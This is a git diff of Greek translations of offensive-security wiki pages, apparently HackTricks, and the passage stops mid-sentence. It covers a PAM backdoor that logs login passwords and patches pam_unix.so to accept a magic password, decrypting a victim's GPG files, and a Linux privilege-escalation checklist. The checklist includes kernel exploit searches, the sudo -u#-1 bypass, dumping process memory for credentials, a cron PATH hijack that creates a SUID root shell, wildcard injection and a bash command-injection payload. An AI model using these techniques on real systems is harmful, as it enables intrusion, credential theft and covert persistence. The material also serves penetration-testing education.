script με όνομα `toomanysecrets.sh` δημιουργείται για να καταγράφει απόπειρες login, αποθηκεύοντας την ημερομηνία, το username (`$PAM_USER`), το password (μέσω stdin) και το remote host IP (`$PAM_RHOST`) στο `/var/log/toomanysecrets.log`. -- Το script γίνεται εκτελέσιμο και ενσωματώνεται στη PAM configuration (`common-auth`) χρησιμοποιώντας το `pam_exec.so` module με επιλογές για σιωπηλή εκτέλεση και για την παροχή του authentication token στο script. -- Η προσέγγιση δείχνει πώς ένας compromised Linux host μπορεί να εκμεταλλευτεί για να καταγράψει credentials διακριτικά. +- Ένα bash script με όνομα `toomanysecrets.sh` δημιουργείται για να καταγράφει τις προσπάθειες login, καταγράφοντας την ημερομηνία, το username (`$PAM_USER`), το password (via stdin), και τη διεύθυνση IP του remote host (`$PAM_RHOST`) στο `/var/log/toomanysecrets.log`. +- Το script γίνεται εκτελέσιμο και ενσωματώνεται στη PAM configuration (`common-auth`) χρησιμοποιώντας το `pam_exec.so` module με επιλογές για να τρέχει quietly και να εκθέτει το authentication token στο script. +- Η προσέγγιση δείχνει πώς ένας compromised Linux host μπορεί να εκμεταλλευτείται για να καταγράφει διακριτικά credentials. ```bash #!/bin/sh echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log @@ -33,30 +34,30 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh **For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Αυτό είναι απλώς μια περίληψη: -The Pluggable Authentication Module (PAM) είναι ένα σύστημα που χρησιμοποιείται σε Linux για τον έλεγχο ταυτότητας χρηστών. Λειτουργεί με τρεις κύριες έννοιες: **username**, **password**, και **service**. Τα αρχεία ρυθμίσεων για κάθε υπηρεσία βρίσκονται στον κατάλογο `/etc/pam.d/`, όπου shared libraries αναλαμβάνουν τον έλεγχο ταυτότητας. +The Pluggable Authentication Module (PAM) είναι ένα σύστημα που χρησιμοποιείται σε Linux για την πιστοποίηση χρηστών. Λειτουργεί με τρεις βασικές έννοιες: **username**, **password**, και **service**. Τα αρχεία ρυθμίσεων για κάθε service βρίσκονται στον κατάλογο `/etc/pam.d/`, όπου shared libraries αναλαμβάνουν την επαλήθευση ταυτότητας. -**Objective**: Τροποποιήστε το PAM ώστε να επιτρέπει έλεγχο ταυτότητας με έναν συγκεκριμένο κωδικό, παρακάμπτοντας τον πραγματικό κωδικό χρήστη. Αυτό επικεντρώνεται ιδιαίτερα στη shared library `pam_unix.so` που χρησιμοποιείται από το αρχείο `common-auth`, το οποίο περιλαμβάνεται από σχεδόν όλες τις υπηρεσίες για την επαλήθευση κωδικού. +**Objective**: Τροποποιήστε το PAM ώστε να επιτρέπει authentication με ένα συγκεκριμένο password, παρακάμπτοντας το πραγματικό password του χρήστη. Αυτό εστιάζει ειδικά στη shared library `pam_unix.so` που χρησιμοποιείται από το αρχείο `common-auth`, το οποίο περιλαμβάνεται από σχεδόν όλες τις υπηρεσίες για την επαλήθευση του password. ### Steps for Modifying `pam_unix.so`: 1. **Locate the Authentication Directive** in the `common-auth` file: -- Η γραμμή που είναι υπεύθυνη για τον έλεγχο του κωδικού ενός χρήστη καλεί το `pam_unix.so`. +- Η γραμμή που είναι υπεύθυνη για τον έλεγχο του password ενός χρήστη καλεί τη `pam_unix.so`. 2. **Modify Source Code**: -- Προσθέστε μια συνθήκη στο αρχείο πηγαίου κώδικα `pam_unix_auth.c` που χορηγεί πρόσβαση αν χρησιμοποιηθεί ένας προκαθορισμένος κωδικός, διαφορετικά συνεχίζει με τη συνήθη διαδικασία ελέγχου ταυτότητας. +- Προσθέστε μια συνθήκη στο αρχείο πηγαίου κώδικα `pam_unix_auth.c` που θα δίνει πρόσβαση αν χρησιμοποιηθεί ένα προκαθορισμένο password, διαφορετικά προχωράει με τη συνήθη διαδικασία authentication. 3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory. 4. **Testing**: -- Η πρόσβαση χορηγείται σε διάφορες υπηρεσίες (login, ssh, sudo, su, screensaver) με τον προκαθορισμένο κωδικό, ενώ οι κανονικές διαδικασίες ελέγχου ταυτότητας παραμένουν ανεπηρέαστες. +- Η πρόσβαση επιτρέπεται σε διάφορες υπηρεσίες (login, ssh, sudo, su, screensaver) με το προκαθορισμένο password, ενώ οι κανονικές διαδικασίες authentication παραμένουν ανεπηρέαστες. > [!TIP] > Μπορείτε να αυτοματοποιήσετε αυτή τη διαδικασία με [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) ## Decrypting GPG loot via homedir relocation -Εάν βρείτε ένα κρυπτογραφημένο `.gpg` αρχείο και τον φάκελο `~/.gnupg` ενός χρήστη (pubring, private-keys, trustdb) αλλά δεν μπορείτε να το αποκρυπτογραφήσετε λόγω permissions/locks στο GnuPG homedir, αντιγράψτε το keyring σε μια εγγράψιμη τοποθεσία και χρησιμοποιήστε το ως GPG home. +Αν βρείτε ένα κρυπτογραφημένο αρχείο `.gpg` και τον φάκελο `~/.gnupg` ενός χρήστη (pubring, private-keys, trustdb) αλλά δεν μπορείτε να αποκρυπτογραφήσετε λόγω δικαιωμάτων/κλειδώματος στο homedir του GnuPG, αντιγράψτε το keyring σε ένα εγγράψιμο σημείο και χρησιμοποιήστε το ως GPG home. -Typical errors you’ll see without this: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key" (επειδή το GPG δεν μπορεί να διαβάσει/γράψει τον αρχικό homedir). +Τυπικά σφάλματα που θα δείτε χωρίς αυτό: "unsafe ownership on homedir", "failed to create temporary file", ή "decryption failed: No secret key" (επειδή το GPG δεν μπορεί να διαβάσει/γράψει το αρχικό homedir). -Workflow: +Ροή εργασίας: ```bash # 1) Stage a writable homedir and copy the victim's keyring mkdir -p /dev/shm/fakehome/.gnupg @@ -69,7 +70,7 @@ GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg # or gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg ``` -Εάν το secret key material είναι παρόν στο `private-keys-v1.d`, το GPG θα ξεκλειδώσει και θα αποκρυπτογραφήσει χωρίς να ζητήσει passphrase (ή θα ζητήσει αν το key είναι προστατευμένο). +Εάν το υλικό του ιδιωτικού κλειδιού βρίσκεται στο `private-keys-v1.d`, το GPG θα ξεκλειδώσει και θα αποκρυπτογραφήσει χωρίς να ζητήσει passphrase (ή θα ζητήσει αν το κλειδί είναι προστατευμένο). ## Αναφορές diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 9a3962c41..ddf37789e 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,46 +6,46 @@ ### Πληροφορίες OS -Ας αρχίσουμε να συλλέγουμε πληροφορίες για το OS που εκτελείται +Ας αρχίσουμε να συλλέγουμε πληροφορίες για το OS που τρέχει ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Διαδρομή +### Path -Αν **έχετε δικαιώματα εγγραφής σε οποιονδήποτε φάκελο μέσα στη μεταβλητή `PATH`** ίσως να μπορέσετε να hijack κάποιες libraries ή binaries: +Εάν **έχετε write permissions σε οποιονδήποτε φάκελο μέσα στη `PATH`** μεταβλητή, ίσως να μπορείτε να hijack μερικές libraries ή binaries: ```bash echo $PATH ``` ### Πληροφορίες Env -Υπάρχουν ενδιαφέρουσες πληροφορίες, κωδικοί πρόσβασης ή API keys στις μεταβλητές περιβάλλοντος; +Ενδιαφέρουσες πληροφορίες, κωδικοί πρόσβασης ή κλειδιά API στις μεταβλητές περιβάλλοντος; ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Ελέγξτε την kernel έκδοση και αν υπάρχει κάποιο exploit που μπορεί να χρησιμοποιηθεί για να escalate privileges +Ελέγξτε την έκδοση του kernel και αν υπάρχει κάποιο exploit που μπορεί να χρησιμοποιηθεί για να escalate privileges ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Μπορείτε να βρείτε μια καλή λίστα ευπαθών kernel και μερικά ήδη **compiled exploits** εδώ: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) και [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Μπορείτε να βρείτε μια καλή λίστα με ευπαθή kernel και μερικά ήδη **compiled exploits** εδώ: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) και [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Άλλοι ιστότοποι όπου μπορείτε να βρείτε μερικά **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Για να εξαγάγετε όλες τις ευπαθείς εκδόσεις kernel από αυτόν τον ιστότοπο μπορείτε να κάνετε: +Για να εξαγάγετε όλες τις ευπαθείς εκδόσεις kernel από αυτή την ιστοσελίδα μπορείτε να κάνετε: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Εργαλεία που μπορούν να βοηθήσουν στην αναζήτηση kernel exploits είναι: +Εργαλεία που μπορούν να βοηθήσουν στην αναζήτηση για kernel exploits είναι: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (εκτελέστε IN victim, ελέγχει μόνο exploits για kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (εκτελέστε στο θύμα, ελέγχει μόνο exploits για kernel 2.x) -Πάντα **αναζητήστε την kernel version στο Google**, ίσως η kernel version σας να αναφέρεται σε κάποιο kernel exploit και έτσι θα είστε σίγουροι ότι αυτό το exploit είναι έγκυρο. +Πάντα **ψάξτε την έκδοση του kernel στο Google**, ίσως η έκδοση του kernel σας να αναφέρεται σε κάποιο kernel exploit και έτσι θα είστε σίγουροι ότι αυτό το exploit είναι έγκυρο. ### CVE-2016-5195 (DirtyCow) @@ -59,11 +59,11 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo έκδοση -Βασισμένο στις ευάλωτες εκδόσεις του sudo που εμφανίζονται σε: +Βασισμένο στις ευάλωτες εκδόσεις του sudo που εμφανίζονται στο: ```bash searchsploit sudo ``` -Μπορείτε να ελέγξετε αν η έκδοση του sudo είναι ευάλωτη χρησιμοποιώντας αυτό το grep. +Μπορείτε να ελέγξετε εάν η έκδοση του sudo είναι ευάλωτη χρησιμοποιώντας αυτό το grep. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -73,20 +73,20 @@ sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\. ``` sudo -u#-1 /bin/bash ``` -### Dmesg: Η επαλήθευση της υπογραφής απέτυχε +### Dmesg: η επαλήθευση υπογραφής απέτυχε -Δείτε **smasher2 box of HTB** για ένα **παράδειγμα** του πώς αυτή η vuln θα μπορούσε να εκμεταλλευτεί +Ελέγξτε το **smasher2 box of HTB** για ένα **παράδειγμα** του πώς θα μπορούσε να εκμεταλλευτεί αυτή η vuln. ```bash dmesg 2>/dev/null | grep "signature" ``` -### Περαιτέρω system enumeration +### Περαιτέρω αναγνώριση συστήματος ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Απαρίθμηση πιθανών αμυνών +## Καταγράψτε πιθανές άμυνες ### AppArmor ```bash @@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Αν βρίσκεστε μέσα σε ένα docker container μπορείτε να προσπαθήσετε να escape από αυτό: +Αν βρίσκεστε μέσα σε ένα docker container μπορείτε να προσπαθήσετε να διαφύγετε από αυτό: {{#ref}} @@ -145,21 +145,21 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Επίσης, έλεγξε αν **any compiler is installed**. Αυτό είναι χρήσιμο αν χρειαστεί να χρησιμοποιήσεις κάποιο kernel exploit, καθώς συνιστάται να compile το exploit στο μηχάνημα όπου θα το χρησιμοποιήσεις (ή σε ένα παρόμοιο). +Επίσης, έλεγξε αν **κάποιος compiler είναι εγκατεστημένος**. Αυτό είναι χρήσιμο εάν χρειαστεί να χρησιμοποιήσεις κάποιο kernel exploit, καθώς συνιστάται να το compile στη μηχανή όπου θα το χρησιμοποιήσεις (ή σε μία παρόμοια). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Εγκατεστημένο Ευάλωτο Λογισμικό -Ελέγξτε για την **έκδοση των εγκατεστημένων πακέτων και υπηρεσιών**. Ίσως υπάρχει κάποια παλιά έκδοση του Nagios (για παράδειγμα) που θα μπορούσε να εκμεταλλευθεί για escalating privileges…\ +Ελέγξτε για την **έκδοση των εγκατεστημένων πακέτων και υπηρεσιών**. Ίσως υπάρχει κάποια παλιά έκδοση του Nagios (για παράδειγμα) που θα μπορούσε να εκμεταλλευτεί για escalating privileges…\ Συνιστάται να ελέγξετε χειροκίνητα την έκδοση του πιο ύποπτου εγκατεστημένου λογισμικού. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Αν έχετε πρόσβαση SSH στο μηχάνημα, μπορείτε επίσης να χρησιμοποιήσετε **openVAS** για να ελέγξετε για ξεπερασμένο και ευάλωτο λογισμικό εγκατεστημένο στο μηχάνημα. +Αν έχετε SSH πρόσβαση στη μηχανή μπορείτε επίσης να χρησιμοποιήσετε **openVAS** για να ελέγξετε για ξεπερασμένο και ευπαθές λογισμικό εγκατεστημένο μέσα στη μηχανή. -> [!NOTE] > _Σημειώστε ότι αυτές οι εντολές θα εμφανίσουν πολλές πληροφορίες που στην πλειονότητά τους θα είναι άχρηστες, επομένως συνιστάται η χρήση εφαρμογών όπως OpenVAS ή παρόμοιων που θα ελέγξουν αν οποιαδήποτε εγκατεστημένη έκδοση λογισμικού είναι ευάλωτη σε γνωστά exploits_ +> [!NOTE] > _Σημειώστε ότι αυτές οι εντολές θα εμφανίσουν πολλές πληροφορίες που κατά κύριο λόγο θα είναι άχρηστες, επομένως συνιστώνται εφαρμογές όπως το OpenVAS ή παρόμοιες που θα ελέγξουν αν οποιαδήποτε εγκατεστημένη έκδοση λογισμικού είναι ευάλωτη σε γνωστά exploits_ ## Διεργασίες @@ -169,32 +169,32 @@ ps aux ps -ef top -n 1 ``` -Να ελέγχεις πάντα για πιθανούς [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** ανιχνεύει αυτά ελέγχοντας την παράμετρο `--inspect` μέσα στη γραμμή εντολών της διεργασίας.\ -Επίσης **έλεγξε τα προνόμια σου πάνω στα binaries των διεργασιών**, ίσως να μπορείς να αντικαταστήσεις κάποιο. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ +Also **check your privileges over the processes binaries**, maybe you can overwrite someone. ### Process monitoring -Μπορείς να χρησιμοποιήσεις εργαλεία όπως [**pspy**](https://github.com/DominicBreuker/pspy) για να παρακολουθείς διεργασίες. Αυτό μπορεί να είναι πολύ χρήσιμο για να εντοπίσεις ευάλωτες διεργασίες που εκτελούνται συχνά ή όταν ικανοποιούνται ορισμένες προϋποθέσεις. +Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**pspy**](https://github.com/DominicBreuker/pspy) για να παρακολουθείτε processes. Αυτό μπορεί να είναι πολύ χρήσιμο για να εντοπίσετε ευάλωτες processes που εκτελούνται συχνά ή όταν πληρούνται ορισμένες προϋποθέσεις. ### Process memory -Ορισμένες υπηρεσίες ενός server αποθηκεύουν **διαπιστευτήρια σε απλό κείμενο μέσα στη μνήμη**.\ -Συνήθως θα χρειαστείς **προνόμια root** για να διαβάσεις τη μνήμη διεργασιών που ανήκουν σε άλλους χρήστες, επομένως αυτό είναι συνήθως πιο χρήσιμο όταν είσαι ήδη root και θέλεις να εντοπίσεις περισσότερα διαπιστευτήρια.\ -Ωστόσο, να θυμάσαι ότι **ως κανονικός χρήστης μπορείς να διαβάσεις τη μνήμη των διεργασιών που κατέχεις**. +Ορισμένες υπηρεσίες ενός server αποθηκεύουν **credentials in clear text inside the memory**.\ +Συνήθως θα χρειαστείτε **root privileges** για να διαβάσετε τη μνήμη των processes που ανήκουν σε άλλους χρήστες, επομένως αυτό είναι συνήθως πιο χρήσιμο όταν είστε ήδη root και θέλετε να ανακαλύψετε περισσότερα credentials.\ +Ωστόσο, θυμηθείτε ότι **as a regular user you can read the memory of the processes you own**. > [!WARNING] -> Σημείωση ότι στις μέρες μας οι περισσότερες μηχανές **δεν επιτρέπουν το ptrace εξ ορισμού**, πράγμα που σημαίνει ότι δεν μπορείς να εξάγεις άλλες διεργασίες που ανήκουν στον μη προνομιούχο χρήστη σου. +> Σημειώστε ότι στις μέρες μας τα περισσότερα μηχανήματα **don't allow ptrace by default**, πράγμα που σημαίνει ότι δεν μπορείτε να dumpάρετε άλλες processes που ανήκουν στον unprivileged user σας. > > Το αρχείο _**/proc/sys/kernel/yama/ptrace_scope**_ ελέγχει την προσβασιμότητα του ptrace: > -> - **kernel.yama.ptrace_scope = 0**: όλες οι διεργασίες μπορούν να εντοπιστούν (debug), εφόσον έχουν το ίδιο uid. Αυτός είναι ο κλασικός τρόπος με τον οποίο λειτουργούσε το ptracing. -> - **kernel.yama.ptrace_scope = 1**: μόνο η διεργασία-γονέας μπορεί να εντοπιστεί. -> - **kernel.yama.ptrace_scope = 2**: Μόνο ο admin μπορεί να χρησιμοποιήσει το ptrace, καθώς απαιτείται η δυνατότητα CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: Καμία διεργασία δεν μπορεί να παρακολουθηθεί με ptrace. Μόλις οριστεί, απαιτείται επανεκκίνηση για να ενεργοποιηθεί ξανά το ptracing. +> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. Αυτή είναι η κλασική λειτουργία του ptracing. +> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. +> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. +> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. #### GDB -Αν έχεις πρόσβαση στη μνήμη μιας υπηρεσίας FTP (για παράδειγμα), μπορείς να εξάγεις το Heap και να αναζητήσεις μέσα τα διαπιστευτήριά της. +If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. ```bash gdb -p (gdb) info proc mappings @@ -203,7 +203,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB Script +#### GDB Σενάριο ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -216,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Για ένα δεδομένο PID, τα **maps** δείχνουν πώς η μνήμη χαρτογραφείται μέσα στον εικονικό χώρο διευθύνσεων της διεργασίας· επίσης εμφανίζουν τα **δικαιώματα κάθε χαρτογραφημένης περιοχής**. Το **mem** ψευδοαρχείο **αποκαλύπτει την ίδια τη μνήμη της διεργασίας**. Από το αρχείο **maps** γνωρίζουμε ποιες **περιοχές μνήμης είναι αναγνώσιμες** και τις μετατοπίσεις τους. Χρησιμοποιούμε αυτή την πληροφορία για να **seek into the mem file and dump all readable regions** σε ένα αρχείο. +Για ένα δεδομένο PID, **maps δείχνουν πώς η μνήμη απεικονίζεται εντός του εικονικού χώρου διευθύνσεων της διεργασίας**; επίσης δείχνουν τα **δικαιώματα κάθε απεικονιζόμενης περιοχής**. Το **mem** ψευδο-αρχείο **αποκαλύπτει την ίδια τη μνήμη της διεργασίας**. Από το αρχείο **maps** γνωρίζουμε ποιες **περιοχές μνήμης είναι αναγνώσιμες** και τις μετατοπίσεις (offsets) τους. Χρησιμοποιούμε αυτές τις πληροφορίες για να **seek into the mem file and dump all readable regions** σε ένα αρχείο. ```bash procdump() ( @@ -231,14 +231,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` παρέχει πρόσβαση στη **φυσική** μνήμη του συστήματος, όχι στην εικονική μνήμη. Ο χώρος διευθύνσεων εικονικής μνήμης του πυρήνα μπορεί να προσπελαστεί χρησιμοποιώντας /dev/kmem.\ -Συνήθως, `/dev/mem` είναι αναγνώσιμο μόνο από **root** και την ομάδα **kmem**. +`/dev/mem` παρέχει πρόσβαση στη **φυσική** μνήμη του συστήματος, όχι στην εικονική μνήμη. Ο χώρος εικονικών διευθύνσεων του kernel μπορεί να προσπελαστεί χρησιμοποιώντας /dev/kmem.\\ +Τυπικά, `/dev/mem` είναι αναγνώσιμο μόνο από τον χρήστη **root** και την ομάδα **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump για linux +### ProcDump for linux -Το ProcDump είναι μια ανασχεδίαση για Linux του κλασικού εργαλείου ProcDump από τη σουίτα εργαλείων Sysinternals για Windows. Βρείτε το στο [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +Το ProcDump είναι μια αναδημιούργηση για Linux του κλασικού εργαλείου ProcDump από τη σουίτα εργαλείων Sysinternals για Windows. Μπορείς να το βρεις στο [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -270,28 +270,28 @@ Press Ctrl-C to end monitoring without terminating the process. Για να κάνετε dump τη μνήμη μιας διεργασίας μπορείτε να χρησιμοποιήσετε: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Μπορείτε χειροκίνητα να αφαιρέσετε τις απαιτήσεις του root και να κάνετε dump τη διεργασία που ανήκει σε εσάς -- Script A.5 από [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (απαιτείται root) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Μπορείτε χειροκίνητα να αφαιρέσετε τις απαιτήσεις root και να κάνετε dump τη διεργασία που σας ανήκει +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (απαιτείται root) ### Διαπιστευτήρια από τη μνήμη διεργασίας #### Χειροκίνητο παράδειγμα -Αν διαπιστώσετε ότι η διεργασία authenticator τρέχει: +Αν βρείτε ότι η διαδικασία authenticator είναι σε λειτουργία: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Μπορείτε να κάνετε dump τη διεργασία (δείτε τις προηγούμενες ενότητες για να βρείτε διαφορετικούς τρόπους να κάνετε dump τη μνήμη μιας διεργασίας) και να αναζητήσετε διαπιστευτήρια μέσα στη μνήμη: +Μπορείτε να κάνετε dump τη διαδικασία (δείτε τις προηγούμενες ενότητες για να βρείτε διαφορετικούς τρόπους για να κάνετε dump τη μνήμη μιας διαδικασίας) και να αναζητήσετε credentials μέσα στη μνήμη: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Το εργαλείο [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) θα **κλέψει διαπιστευτήρια σε απλό κείμενο από τη μνήμη** και από ορισμένα **γνωστά αρχεία**. Απαιτεί δικαιώματα root για να λειτουργήσει σωστά. +Το εργαλείο [https://github.com/huntergregal/mimipenguin](https://github.com/huntergregal/mimipenguin) θα **κλέψει credentials σε απλό κείμενο από τη μνήμη** και από κάποια **γνωστά αρχεία**. Απαιτεί root privileges για να λειτουργήσει σωστά. -| Χαρακτηριστικό | Όνομα διεργασίας | +| Χαρακτηριστικό | Όνομα διεργασίας | | ------------------------------------------------- | -------------------- | | GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | @@ -314,36 +314,37 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Προγραμματισμένες/Cron jobs +## Προγραμματισμένα/Cron jobs -Ελέγξτε αν κάποια προγραμματισμένη εργασία είναι ευάλωτη. Ίσως μπορείτε να εκμεταλλευτείτε ένα script που εκτελείται από root (wildcard vuln? μπορείτε να τροποποιήσετε αρχεία που χρησιμοποιεί ο root; να χρησιμοποιήσετε symlinks; να δημιουργήσετε συγκεκριμένα αρχεία στον κατάλογο που χρησιμοποιεί ο root?). +Έλεγξε αν κάποια προγραμματισμένη εργασία είναι ευάλωτη. Ίσως μπορείς να εκμεταλλευτείς ένα script που εκτελείται από root (wildcard vuln; μπορείς να τροποποιήσεις αρχεία που χρησιμοποιεί το root; να χρησιμοποιήσεις symlinks; να δημιουργήσεις συγκεκριμένα αρχεία στον κατάλογο που χρησιμοποιεί το root?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron path +### Διαδρομή Cron Για παράδειγμα, μέσα στο _/etc/crontab_ μπορείτε να βρείτε το PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ (_Σημειώστε πώς ο χρήστης "user" έχει δικαιώματα εγγραφής στο /home/user_) -Εάν μέσα σε αυτό το crontab ο χρήστης root προσπαθήσει να εκτελέσει κάποια εντολή ή script χωρίς να ορίσει το PATH. Για παράδειγμα: _\* \* \* \* root overwrite.sh_\ -Τότε, μπορείτε να αποκτήσετε root shell χρησιμοποιώντας: +Αν μέσα σε αυτό το crontab ο χρήστης root προσπαθήσει να εκτελέσει κάποια εντολή ή script χωρίς να ορίσει το PATH. Για παράδειγμα: _\* \* \* \* root overwrite.sh_\ + +Τότε, μπορείτε να αποκτήσετε ένα root shell χρησιμοποιώντας: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron που χρησιμοποιεί ένα script με wildcard (Wildcard Injection) +### Cron using a script with a wildcard (Wildcard Injection) -Εάν ένα script που εκτελείται από root έχει μέσα σε μια εντολή ένα “**\***”, μπορείτε να το εκμεταλλευτείτε για να προκαλέσετε απρόσμενα πράγματα (όπως privesc). Παράδειγμα: +Εάν ένα script που εκτελείται από root περιέχει ένα “**\***” μέσα σε μια εντολή, μπορείτε να το εκμεταλλευτείτε για να προκαλέσετε απρόβλεπτες ενέργειες (όπως privesc). Παράδειγμα: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Εάν το wildcard προηγείται μιας διαδρομής όπως** _**/some/path/\***_ **, δεν είναι ευάλωτο (ακόμη και** _**./\***_ **δεν είναι).** +**Εάν το wildcard προηγείται μιας διαδρομής όπως** _**/some/path/\***_ **, δεν είναι ευάλωτο (ακόμα και** _**./\***_ **δεν είναι).** -Διάβασε την παρακάτω σελίδα για περισσότερα κόλπα εκμετάλλευσης wildcard: +Διαβάστε την παρακάτω σελίδα για περισσότερα κόλπα εκμετάλλευσης wildcards: {{#ref}} @@ -353,11 +354,11 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Το Bash εκτελεί parameter expansion και command substitution πριν από την arithmetic evaluation σε ((...)), $((...)) και let. Αν ένας root cron/parser διαβάζει μη αξιόπιστα πεδία καταγραφών και τα τροφοδοτεί σε ένα arithmetic context, ένας επιτιθέμενος μπορεί να εγχύσει ένα command substitution $(...) που εκτελείται ως root όταν τρέξει το cron. +Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. Αν ένας root cron/parser διαβάζει μη έμπιστα πεδία log και τα τροφοδοτεί σε έναν arithmetic context, ένας attacker μπορεί να εγχύσει μια command substitution $(...) που εκτελείται ως root όταν τρέξει ο cron. -- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors. +- Why it works: Στο Bash, οι expansions γίνονται με αυτή τη 